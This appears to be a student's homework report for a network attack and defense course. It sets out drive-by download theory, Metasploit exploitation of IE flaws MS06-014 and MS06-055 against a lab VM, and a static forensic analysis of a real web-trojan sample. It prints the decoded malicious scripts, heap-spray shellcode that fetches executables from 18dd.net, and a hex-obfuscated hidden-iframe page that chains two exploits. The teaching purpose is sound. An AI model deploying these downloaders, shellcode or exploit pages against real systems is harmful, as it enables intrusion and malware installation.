20253902 吴晨宇 2025-2026-2 《网络攻防实践》第11周作业

一、知识点总结

1.1 网页挂马与攻击链

网页挂马是指攻击者在网页中插入恶意代码,使用户访问页面时自动加载后续脚本或文件。常见入口包括隐藏 iframe、外部 script 和恶意跳转链接。

典型攻击链如下:

入口网页
    ↓
加载外部恶意脚本
    ↓
检测浏览器和控件环境
    ↓
触发浏览器漏洞
    ↓
下载并执行恶意载荷

隐藏 iframe 通常被设置为极小尺寸或不可见状态,页面表面没有明显变化,但浏览器已经在后台访问了其他地址。

1.2 浏览器漏洞与 ActiveX 控件

浏览器漏洞利用主要针对浏览器、插件或 ActiveX 控件中的安全缺陷。攻击者会构造特殊网页数据,当存在漏洞的浏览器解析这些内容时,可能导致程序崩溃或执行恶意代码。

ActiveX 是早期 Internet Explorer 常用的组件技术。网页脚本可以创建并调用本地控件,例如:

new ActiveXObject("Adodb.Stream");

恶意脚本通常会先判断目标系统中是否存在特定控件,再选择对应的漏洞利用代码。因此,这类攻击往往与操作系统版本、浏览器版本和控件安装情况有关。

1.3 JavaScript 混淆与解混淆

为了逃避人工检查和安全软件检测,恶意脚本经常使用 Base64、XXTEA、十六进制编码、字符串拼接和 eval() 等方式隐藏真实逻辑。

常见特征包括:

eval(code);
unescape("%uXXXX%uXXXX");
base64decode(data);
xxtea_decrypt(data, key);

分析时不应直接执行未知的 eval() 内容,可以先将其替换为输出语句:

console.log(code);

这样可以观察解码后的脚本内容,同时避免直接触发其中的恶意行为。

1.4 堆喷射与恶意载荷

堆喷射是一种浏览器漏洞利用技术。攻击脚本会创建大量包含相同数据的内存块,使 shellcode 尽可能分布在可预测的内存位置。

常见代码特征如下:

var shellcode = unescape("%uXXXX%uXXXX");
var block = unescape("%u9090%u9090");
var memory = new Array();

其中,%u9090 常用于构造填充区域。当漏洞触发后,程序执行流可能跳转到这些区域,进而执行攻击者准备的 shellcode。

后续载荷可能以 .exe、.dll 或 .cab 等形式存在。分析时应关注文件下载地址、文件名、哈希值、可疑字符串以及是否存在调用系统命令的行为。

1.5 取证分析与安全防护

网页挂马分析应按照数据加载顺序逐层还原,重点查找 iframe、外部脚本、可疑 URL、ActiveX 对象、编码数据和下载文件。

基本分析流程如下:

检查入口网页
    ↓
定位外部脚本和跳转地址
    ↓
识别编码或混淆方式
    ↓
静态还原脚本逻辑
    ↓
提取下载地址和文件信息
    ↓
分析最终可执行载荷

防护时应及时更新操作系统和浏览器补丁,禁用不必要的 ActiveX 控件,避免使用过旧的 Internet Explorer,并通过浏览器安全策略、杀毒软件和流量检测工具拦截恶意页面。分析未知样本时,应使用虚拟机和隔离网络,避免直接在真实环境中运行。

二、操作流程

2.1 环境介绍

本次实验在课程授权的局域网环境中完成,实验主机信息如下:

角色 系统 IP 地址
攻击机 Kali Linux 192.168.137.66
靶机 Windows 2000 Server 192.168.137.23

在正式进行渗透测试之前,我先对攻击机和靶机之间的网络连通性进行测试,确认两台主机能够互相通信。

我首先在靶机上测试到攻击机的连通性:

ping 192.168.137.66

靶机 ping 攻击机

图 2-1-1 靶机向攻击机发送 ICMP 连通性测试。

从回显结果可以看到,靶机能够收到来自 192.168.137.66 的响应,说明靶机到攻击机方向的网络是连通的。

随后,我在 Kali 攻击机上测试到靶机的连通性:

ping 192.168.137.23

攻击机 ping 靶机

图 2-1-2 攻击机向靶机发送 ICMP 连通性测试。

攻击机同样能够正常收到靶机的 ICMP 响应。

2.2 渗透测试

进入 Metasploit 后,我先根据实验目标搜索与 MS06-014 相关的漏洞利用模块:

search MS06-014

Metasploit 搜索 MS06-014 模块

图 2-2-1 在 Metasploit 中搜索 MS06-014 相关模块。

从搜索结果中可以看到,Metasploit 返回了 exploit/windows/browser/ie_createobject 模块,该模块描述为 Microsoft Internet Explorer COM CreateObject 代码执行相关利用模块。因此,我选择该模块继续查看配置项。

use exploit/windows/browser/ie_createobject
show options

查看 ie_createobject 模块参数

图 2-2-2 进入 ie_createobject 模块并查看当前参数配置。

在参数信息中,我重点观察了 SRVHOST、SRVPORT、URIPATH 以及 payload 相关配置。这里 SRVHOST 显示为 0.0.0.0,表示监听本机所有网卡;SRVPORT 为 8080,说明后续会通过该端口提供测试页面。当前默认 payload 显示为 windows/meterpreter/reverse_tcp,后续我根据实验需要将 payload 修改为 bind shell 类型。

接着,我设置 payload 并启动 exploit:

set payload windows/shell/bind_tcp
exploit

设置 payload 并启动 exploit

图 2-2-3 设置 bind_tcp 类型 payload 并启动 exploit 服务。

启动后,Metasploit 输出了一个可访问的 URL:

http://192.168.137.66:8080/Cn38iq828

此时提示 Exploit completed, but no session was created,我判断这是因为服务端页面已经启动,但靶机浏览器还没有访问该地址,因此暂时没有建立会话。

随后,我在靶机 Windows 2000 Server 的 Internet Explorer 中打开 Metasploit 生成的 URL:

http://192.168.137.66:8080/Cn38iq828

靶机浏览器访问生成的 URL

图 2-2-4 靶机使用 Internet Explorer 访问 Metasploit 生成的 URL。

靶机浏览器访问页面后,我回到 Kali 中观察 Metasploit 的输出信息。此时控制台显示正在向靶机发送 exploit HTML 和 payload 数据,并出现了命令行会话打开的信息。

Metasploit 输出会话打开信息

图 2-2-5 Metasploit 在靶机访问页面后输出会话打开信息。

从输出中可以观察到,Metasploit 与靶机之间建立了连接,连接方向显示为:

192.168.137.66:32973 -> 192.168.137.23:4444

这说明攻击机已经与靶机的 4444 端口建立了交互连接。随后我使用 sessions 查看当前会话,并进入编号为 1 的会话。

sessions
sessions -i 1
ipconfig

进入会话并查看靶机网络信息

图 2-2-6 查看当前会话、进入会话并执行 ipconfig 命令。

进入会话后,终端显示了 Windows 2000 的命令行环境。我执行 ipconfig 后,看到输出中的 IP 地址为 192.168.137.23,与前面配置的靶机地址一致。因此可以判断,我当前交互的命令行确实来自靶机系统。

2.3 取证分析

本部分主要对学习通中提供的网页挂马样本进行取证分析。由于样本中部分文件缺失,我在分析时结合学习通教程《网页挂马分析实践参考(上)》中的内容,对缺失入口文件的代码进行合理推断,并继续追踪其后续加载的脚本文件。

我首先从学习通中下载实验样本,并准备对压缩包中的文件进行分析。

从学习通下载样本

图 2-3-1 从学习通下载网页挂马分析样本。

解压后,我发现提供的压缩包中没有 new09.htm 文件。因此,这里只能参考学习通教程《网页挂马分析实践参考(上)》中的内容,推断 new09.htm 中可能包含如下代码:

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>

参考教程中的入口页面代码

图 2-3-2 参考教程中展示的 new09.htm 相关代码。

从这段代码可以看到,页面中包含两个外部资源:一个是通过隐藏 iframe 加载的 kl.htm,另一个是通过 script 标签加载的统计脚本。由于 iframe 的宽度和高度都被设置为 0,用户在正常浏览页面时很难直接察觉到该页面的加载行为。

由于原始样本中缺少 new09.htm,这里的入口代码只能作为参考教程中的推断内容,不能直接等同于压缩包中的实际文件内容。

随后,我在 http://www.hiencode.com/ 中查找相关的 CTF 工具,并根据 URL 对样本文件进行对应关系分析。

对于 URL:

http://aa.18dd.net/aa/kl.htm

其对应的文件名或哈希标识为:

7f60672dcd6b5e90b6772545ee219bd3

kl.htm 对应文件信息

图 2-3-3 查询 kl.htm 对应的文件标识信息。

对于另一个脚本 URL:

http://js.users.51.la/1299644.js

其对应的文件名或哈希标识为:

23180a42a2ff1192150231b44ffdf3d3

1299644.js 对应文件信息

图 2-3-4 查询 1299644.js 对应的文件标识信息。

根据前面得到的哈希标识,我在解压后的样本目录中查找对应文件。

样本目录中的文件列表

图 2-3-5 在解压后的样本目录中查找对应文件。

从文件列表中可以看到,样本目录中确实存在前面查询到的相关文件。这样就可以继续对这些文件进行静态分析。

2.3.1 kl.htm 文件分析

我首先打开 7f60672dcd6b5e90b6772545ee219bd3 对应的文件,也就是前面推断的 kl.htm 相关文件。

打开 kl.htm 对应文件

图 2-3-6 打开 kl.htm 对应的样本文件。

在阅读代码时,我观察到文件中存在一行比较关键的解密逻辑:

t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

发现解密逻辑代码

图 2-3-7 在脚本中发现 Base64 和 XXTEA 组合解密逻辑。

我对这行代码的理解如下:

  1. 首先通过 base64decode(t) 对变量 t 中的文本内容进行 Base64 解码;
  2. 然后通过 xxtea_decrypt() 使用固定密钥进行 XXTEA 解密;
  3. 最后通过 utf8to16() 将解密得到的 UTF-8 字节转换为 JavaScript 内部使用的 UTF-16 字符串。

整体处理流程可以概括为:

Base64 解码 -> XXTEA 解密 -> UTF-8 转 UTF-16 -> 输出 HTML/JavaScript

其中,第二个参数:

'\x73\x63\x72\x69\x70\x74'

对应的 ASCII 字符串为:

script

因此可以初步判断,这里的 XXTEA 解密密钥为 script。

随后,我使用 CyberChef 对密文进行解码分析:

https://gchq.github.io/

从密文形式上看,第一层编码具有明显的 Base64 特征:字符范围主要由 A-Z、a-z、0-9、+、/ 组成,并且末尾带有 == 填充符。这种形式通常用于将二进制数据转换为可打印文本。

Base64 解码结果

图 2-3-8 使用 CyberChef 对第一层 Base64 内容进行解码。

Base64 解码后的结果仍然无法直接阅读,说明它并不是最终明文,而是还需要继续进行下一层解密。

接着,我使用 XXTEA 解密,并将密钥设置为:

script

配置 XXTEA 解密密钥

图 2-3-9 在 CyberChef 中配置 XXTEA 解密密钥。

完成 XXTEA 解密后,输出内容开始呈现出可读的 JavaScript 代码结构。

XXTEA 解密结果

图 2-3-10 XXTEA 解密后得到的脚本内容。

随后,我继续查看整理后的脚本内容。

整理后的脚本内容

图 2-3-11 对解密后的 JavaScript 代码进行查看。

解密后得到的主要代码如下:

<script>
eval("function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}")
</script>

从这段代码中可以看到,脚本会尝试创建多个 ActiveX 对象,并根据创建结果加载不同的后续脚本或文件。这里涉及到的后续 URL 与对应标识如下:

URL 对应文件标识
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2

后续脚本与文件对应关系

图 2-3-12 记录后续加载 URL 与样本文件标识的对应关系。

可以初步判断,kl.htm 的作用并不是直接执行最终代码,而是负责判断目标环境中是否存在特定 ActiveX 控件,并根据判断结果加载不同的后续脚本。

这里我没有直接运行样本代码,而是通过静态阅读和解码还原的方式分析其逻辑,避免对真实系统环境造成影响。

2.3.2 1.js 文件分析

接着,我分析 1.js 对应的文件。由于在虚拟机中查看代码不够清晰,我在物理机上打开文件进行阅读。

在物理机中查看 1.js 内容

图 2-3-13 在物理机中打开并查看 1.js 文件内容。

在 1.js 中,我观察到其核心代码如下:

eval("var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}")

1.js 中的下载执行逻辑

图 2-3-14 1.js 文件中展示的下载与文件保存逻辑。

从代码结构上看,1.js 会设置一个远程文件地址:

http://down.18dd.net/bb/014.exe

随后通过 Microsoft.XMLHTTP 发起请求,并使用前面创建的 Adodb.Stream 对象将响应内容写入本地文件:

..\ntuser.com

最后,代码会尝试通过 Shell.Application 调用命令执行该文件。结合前面 kl.htm 中对 Adodb.Stream 对象的判断,可以推测 1.js 是在特定 ActiveX 组件可用时加载的后续下载执行脚本。

2.3.3 b.js 文件分析

随后,我继续分析 b.js 对应的文件。

查看 b.js 原始混淆代码

图 2-3-15 打开 b.js 后看到的混淆 JavaScript 代码。

b.js 的代码同样经过混淆处理,直接阅读比较困难。由于在线解密网站中没有找到完全对应的解密方式,我向 AI 询问了可行的静态还原思路,并获得了将 eval 改为输出函数的处理方法。

询问 AI 获取解混淆思路

图 2-3-16 通过 AI 获取 b.js 解混淆处理思路。

为了避免直接执行混淆脚本中的逻辑,我没有直接运行原始代码,而是将开头的 eval 修改为 console.log,让脚本只输出还原后的字符串内容。随后,我将修改后的代码保存为 decode.js 文件,并在末尾补上对应的闭合符号。

修改 eval 为 console.log

图 2-3-17 将 eval 修改为 console.log 以便输出解混淆结果。

之后,我在命令行中执行:

node decode.js

执行 decode.js 输出结果

图 2-3-18 使用 Node.js 执行 decode.js 并输出还原内容。

得到输出后,我再利用网页工具对代码进行格式化,使其结构更容易阅读。

格式化解混淆后的代码

图 2-3-19 对还原后的 JavaScript 代码进行格式化。

格式化后的主要代码如下:

var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var shellcode = unescape('%uf3e9%u0000' + '%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c' + '%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378' + '%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b' + '%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef' + '%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1' + '%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103' + '%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904' + '%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b' + '%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e' + '%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d' + '%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320' + '%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344' + '%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc' + '%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0' + '%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab' + '%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f' + '%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574' + '%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e' + '%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00' + '%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c' + '%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54' + '%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000');
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
	bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 262144)
	block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++)
	memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068)
	buffer += '\n\n\n\n';
storm.rawParse(buffer);

从格式化后的代码可以看到,b.js 中存在大量通过 unescape() 构造的 %u 编码数据,并且使用 bigblock、shellcode、memory 等变量进行内存填充。代码末尾调用了:

storm.rawParse(buffer);

结合前面 kl.htm 中的判断逻辑:

var storm = new ActiveXObject("MPS.StormPlayer");

可以初步判断,b.js 是在检测到 MPS.StormPlayer ActiveX 控件存在时加载的分支脚本。该脚本通过构造大量内存块和特定格式的缓冲区,尝试触发对应控件处理数据时的异常行为。

这个时候问一下AI如何解密shellcode
image

在 CyberChef 中处理这段内容时,我先将原始的 %uXXXX 编码字符串粘贴到 Input 区域,然后在 Recipe 中添加 Find / Replace 操作。由于该字符串采用小端序存储,需要用正则表达式将每组 %uXXXX 的高低字节进行交换,因此在 Find 中填写 %u([0-9a-fA-F]{2})([0-9a-fA-F]{2}),在 Replace 中填写 $2$1,并勾选 Regex。例如 %u6946 会先被替换成 4669。接着继续添加 From Hex 操作,并将分隔符设置为 None,CyberChef 就会把十六进制内容转换为可读字符串。最终得到的结果为 FileA http://down.18dd.net/bb/bf.exe ,

如果是拼接的shellcode,则需要进一步使用 Find / Replace 去掉多余的单引号、加号、空格和换行,只保留连续的 %uXXXX 内容,然后查询相关字符串
image

2.3.4 pps.js

我首先打开 pps.js,观察到脚本内容经过了明显的编码和混淆处理。文件中大量出现反斜杠转义字符,直接阅读时很难判断其真实执行逻辑,因此需要先进行解码和格式化处理。

pps.js 原始混淆内容

图 2-3-4-1 pps.js 中显示的原始混淆脚本内容。

随后,我使用在线解码工具对脚本内容进行处理。通过 Unescape string 和 JavaScript Beautify 等步骤,可以将原本难以阅读的脚本转换成较为清晰的 JavaScript 代码,便于继续分析其中的对象调用、变量定义和可疑字符串。

pps.js 解码与格式化

图 2-3-4-2 使用在线工具对 pps.js 进行解码和格式化。

解码后,我观察到脚本中创建了一个 object 对象,并设置了特定的 classid。同时,脚本中存在大量通过 unescape() 构造的十六进制编码内容,并结合较大的内存填充块进行操作。整理后的核心代码如下:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps = document.createElement('object');
pps.setAttribute('classid', 'clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458');

var shellcode = unescape('%uf3e9%u0000' + 
'%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c' + 
'%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378' + 
'%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b' + 
'%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7' + 
'%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1' + 
'%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103' + 
'%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904' + 
'%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b' + 
'%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e' + 
'%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d' + 
'%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320' + 
'%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344' + 
'%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc' + 
'%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0' + 
'%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab' + 
'%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f' + 
'%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574' + 
'%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e' + 
'%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00' + 
'%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c' + 
'%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54' + 
'%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065');

var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace)
    bigblock += bigblock;

fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);

while (block.length + slackspace < 262144)
    block = block + block + fillblock;

memory = new Array();

for (x = 0; x < 400; x++)
    memory[x] = block + shellcode;

var buffer = '';

while (buffer.length < 500)
    buffer += '\n\n\n\n';

pps.Logo = buffer;

从代码结构看,脚本主要包括以下几个部分:

分析对象 观察内容 初步分析
document.createElement('object') 创建 ActiveX 对象 可能用于调用特定组件
classid 指定了 CLSID 用于定位对应的控件对象
unescape() 构造大量 %u 编码内容 可能用于还原 shellcode 字节序列
bigblock 和 memory 大量填充内存块 这里可以初步判断其具有堆喷射特征
pps.Logo = buffer 给对象属性传入异常长度内容 可能用于触发目标控件的异常处理流程

我在这一部分没有直接执行脚本,而是通过静态解码和代码结构分析,判断其大致利用思路:脚本先构造 shellcode 和内存填充块,再通过 ActiveX 对象的属性赋值触发异常行为。

为了进一步确认脚本中隐藏的可疑信息,我继续对解码后的内容进行字符串提取。通过对 %u 编码内容进行替换、十六进制转换和字符串识别,可以看到其中出现了可疑下载地址。

pps.js 字符串提取结果

图 2-3-4-3 对 pps.js 解码内容进行字符串提取后显示的下载地址。

在提取出的字符串中,我观察到如下 URL:

http://down.18dd.net/bb/pps.exe

这里可以初步判断,pps.js 的作用并不只是单纯触发漏洞,还可能在利用成功后下载并执行后续的可执行文件。也就是说,pps.js 更像是网页挂马流程中的漏洞触发与下载引导脚本。


2.3.5 bd.cab

.cab 后缀文件是 Cabinet 文件的缩写,它是微软使用的一种压缩存档格式,功能上类似于常见的 .zip 或 .rar。在本次分析中,我主要关注 bd.cab 中是否包含可疑可执行文件,以及该文件后续可能执行的行为。

我首先打开 bd.cab,可以看到压缩包内部包含 bd.exe。为了继续分析,我将其中的可执行文件提取到实验目录中。

bd.cab 文件提取

图 2-3-5-1 从 bd.cab 中提取 bd.exe 文件。

随后,我继续对相关脚本中的编码内容进行处理。通过替换 %u 编码并进行十六进制转换,可以在输出结果中看到 FileA 以及一个可疑下载地址。

bd.cab 相关字符串解码

图 2-3-5-2 对编码内容进行转换后显示的文件与下载地址信息。

在前面的网页挂马分析过程中,我整理出多个可疑下载链接及其对应的 MD5 值:

http://down.18dd.net/bb/014.exe  ca4e4a1730b0f69a9b94393d9443b979
http://down.18dd.net/bb/bf.exe   268cbd59fbed235f6cf6b41b92b03f8e
http://down.18dd.net/bb/pps.exe  ff59b3b8961f502289c1b4df8c37e2a4
http://down.18dd.net/bb/bd.exe   994f7810e6a461292cc337bf73981e2c

为了便于核对样本与哈希文件之间的对应关系,我使用在线哈希计算工具对 URL 字符串进行 MD5 计算。例如,对 014.exe 的下载地址进行计算后,可以得到对应的 MD5 值。

在线计算 URL 的 MD5 值

图 2-3-5-3 使用在线工具计算下载地址字符串的 MD5 值。

在样本目录中,我没有直接找到名为 994f7810e6a461292cc337bf73981e2c 的文件。结合前面整理出的对应关系,我判断该哈希值对应的是 bd.exe 这一下载项。因此,我将从 bd.cab 中解压得到的 bd.exe 重新命名为对应的 MD5 文件名,方便后续统一整理和分析。

将 bd.exe 重命名为 MD5 文件名

图 2-3-5-4 在命令行和样本目录中整理 bd.exe 对应的哈希文件名。

这里我没有直接把文件名变化当作最终结论,而是先根据 URL 与 MD5 的对应关系进行匹配,再将解压后的 bd.exe 归入对应的哈希样本中,保证后续分析对象一致。

接下来,我使用“超级巡警虚拟机自动脱壳工具”打开 bd.exe,准备查看该程序是否存在加壳或编译器特征。

选择 bd.exe 进行脱壳检测

图 2-3-5-5 在脱壳工具中选择 bd.exe 文件。

工具识别结果显示,该样本与 Borland Delphi v6.0 - v7.0 相关。该结果可以作为后续静态分析时判断程序结构和字符串特征的参考。

脱壳工具识别结果

图 2-3-5-6 脱壳工具显示 bd.exe 的识别信息。

最后,我将样本放入 IDA 中进行静态分析,并查看字符串窗口。字符串窗口中出现了大量可疑 URL,同时还能看到与系统服务、注册表路径以及运行限制相关的字符串。

IDA 字符串窗口分析

图 2-3-5-7 IDA 字符串窗口中显示的可疑 URL 和系统相关字符串。

结合前面的 bd.cab 提取、哈希匹配、脱壳检测和 IDA 字符串分析,我可以初步判断:bd.exe 是本次网页挂马链条中的后续可执行载荷之一。它内部包含多个下载地址和系统配置相关字符串,后续需要继续结合函数调用、交叉引用和动态行为记录来验证其具体功能。

2.4 双漏洞合并验证与抓包分析

这里为了避免和之前的实验环境发生冲突,我重新启动了两台虚拟机,并重新配置攻击机和靶机的网络环境。重新启动后,我先单独验证 MS06-055 是否能够正常利用,再尝试将 MS06-055 和 MS06-014 两个漏洞入口合并到同一个测试页面中。

2.4.1 单独验证 MS06-055

我首先在 Metasploit 中单独配置并运行 MS06-055 漏洞模块,确认该漏洞在当前实验环境中可以被正常触发。

use exploit/windows/browser/ms06_055_vml_method
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.137.66
set LPORT 4455
run -j

MS06-055 模块配置

图 2-4-1 在 Metasploit 中配置 MS06-055 漏洞利用模块。

模块启动后,Metasploit 在指定端口上开启监听,并生成对应的访问路径。此时我使用靶机浏览器访问该地址,用于触发漏洞。

MS06-055 模块运行

图 2-4-2 MS06-055 漏洞利用模块启动后的监听状态。

访问后,我观察到 Metasploit 中出现了连接回显,说明 MS06-055 在当前环境下可以被单独触发。

MS06-055 回连结果

图 2-4-3 靶机访问 MS06-055 页面后出现连接回显。

至此,我确认 MS06-055 可以在当前实验环境中实现单独利用。前面已经验证过 MS06-014,因此后续实验重点转为:如何将两个漏洞链接合并到同一个页面中,并观察浏览器访问时两个漏洞是否都能被触发。

2.4.2 合并两个漏洞访问入口

我整理出两个漏洞模块对应的访问地址:

http://192.168.137.66:8081/ms06055
http://192.168.137.66:8082/ms06014

为了在同一个页面中加载两个漏洞地址,我先将 URL 转换为十六进制字符串,避免直接在 HTML 中暴露完整地址,同时也便于后续在 JavaScript 中进行还原。

URL 转十六进制

图 2-4-4 将两个漏洞访问地址转换为十六进制字符串。

转换后的两个十六进制字符串如下:

687474703a2f2f3139322e3136382e3133372e36363a383038312f6d733036303535
687474703a2f2f3139322e3136382e3133372e36363a383038322f6d733036303134

由于中文内容在靶机浏览器中存在乱码现象,我将测试页面中的提示文字改为英文。页面主要逻辑是:先通过 h2s() 函数将十六进制字符串还原为 URL,再使用隐藏 iframe 加载两个漏洞页面。

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>20253902_wuchenyu_test</title>
</head>
<body>
<h3>test_page_20253902_wuchenyu</h3>
<p>Loading</p>
<script>
function h2s(h) {
    var s = "";
    for (var i = 0; i < h.length; i += 2) {
        s += String.fromCharCode(parseInt(h.substr(i, 2), 16));
    }
    return s;
}

var u1 = "687474703a2f2f3139322e3136382e3133372e36363a383038312f6d733036303535";
var u2 = "687474703a2f2f3139322e3136382e3133372e36363a383038322f6d733036303134";

document.write('<iframe src="' + h2s(u1) + '" width="1" height="1"></iframe>');
setTimeout(function () {
    document.write('<iframe src="' + h2s(u2) + '" width="1" height="1"></iframe>');
}, 8000);
</script>
</body>
</html>

这段代码中,我将两个漏洞页面分别放入两个隐藏的 iframe 中加载,并给第二个 iframe 设置了 8 秒延迟。这样做的目的是尽量避免两个漏洞页面同时加载导致浏览器异常或触发顺序混乱。

变量 对应地址 作用
u1 http://192.168.137.66:8081/ms06055 加载 MS06-055 漏洞页面
u2 http://192.168.137.66:8082/ms06014 延迟加载 MS06-014 漏洞页面
setTimeout() 延迟 8000 ms 控制第二个漏洞页面的加载时间

2.4.3 启动 Apache 服务并访问测试页面

测试页面准备完成后,我启动 Apache 服务,并查看服务运行状态。

systemctl start apache2
systemctl status apache2

Apache 服务状态

图 2-4-5 启动 Apache 服务并查看运行状态。

随后,我将测试页面放到 Apache 对应的 Web 目录中,确保靶机可以通过浏览器访问该页面。

测试页面文件

图 2-4-6 在 Web 目录中准备双漏洞加载测试页面。

在靶机浏览器中访问测试页面后,页面显示英文提示内容,说明页面本身可以正常加载。

浏览器访问测试页面

图 2-4-7 靶机浏览器访问双漏洞加载测试页面。

2.4.4 开启两个漏洞监听

接下来,我分别开启两个漏洞模块的监听。首先配置 MS06-055,监听端口为 8081,回连端口为 4455。

use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.137.66
set LPORT 4455
set ExitOnSession false
set VERBOSE true
run -j

MS06-055 监听配置

图 2-4-8 配置并启动 MS06-055 漏洞监听任务。

然后配置 MS06-014,监听端口为 8082,回连端口为 5544。

use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.137.66
set LPORT 5544
set ExitOnSession false
set VERBOSE true
run -j

MS06-014 监听配置

图 2-4-9 配置并启动 MS06-014 漏洞监听任务。

